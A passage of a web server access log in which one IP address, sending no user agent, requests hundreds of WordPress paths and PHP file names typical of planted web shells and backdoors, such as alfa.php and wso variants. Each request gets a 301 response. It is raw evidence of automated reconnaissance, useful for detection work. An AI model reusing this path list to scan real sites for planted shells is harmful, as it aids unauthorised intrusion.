[22/Apr/2025:01:56:15 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:16 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:16 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:16 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:17 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:17 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:17 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:18 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:18 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:19 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:19 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:19 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:20 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:21 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:21 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:22 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:22 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:22 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:23 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:24 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:25 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:25 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:26 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:26 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:27 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:27 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:28 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:28 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:29 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:29 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:30 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:30 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:31 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:31 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:31 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:32 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:32 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:32 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:33 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:34 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:34 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:34 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:35 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:35 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:36 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:36 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:36 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:37 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:37 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:37 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:38 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:39 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:40 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:41 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:41 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:42 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:42 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:43 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:44 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:45 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:45 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:45 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:46 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:46 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:46 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:46 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:47 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:49 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:50 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:52 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:54 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:54 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:55 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:57 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:58 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:59 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:01 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:03 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:05 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:07 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:08 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:12 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:13 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:16 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:18 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:19 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:21 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:21 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:22 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:23 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:26 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:28 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:32 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:33 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:34 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:35 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:36 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:37 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:37 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:39 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:40 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:40 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:41 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:41 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:41 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:42 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:42 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:42 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:43 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:44 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:45 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:45 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:46 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:47 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:49 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:51 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:53 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:57:56 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:00 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:02 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:06 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:09 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:11 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:12 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:15 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:17 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:20 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:21 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:23 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:24 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:25 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:25 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:25 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:26 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:26 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:27 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:27 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:27 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:28 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:28 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:29 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:29 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:30 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:30 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:30 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:31 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:31 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:31 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:32 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:33 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:34 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:35 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:36 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:36 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:37 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:38 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:39 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:40 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:42 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:43 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:43 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:45 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:46 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:47 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:48 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:49 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:50 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:51 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:54 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:55 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:56 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:58 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:59 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:58:59 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:00 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:00 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:00 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:01 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:02 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:02 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:04 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:05 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:07 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:07 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:08 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:08 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:09 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:10 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:10 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:11 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:12 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:13 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:14 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:17 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:19 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:20 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:21 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:22 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:25 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:27 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:28 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:29 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:30 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:31 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:32 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:34 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:35 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:37 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:39 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:40 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:42 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:43 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:44 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:45 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:46 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:47 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:49 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:51 -0400] "GET 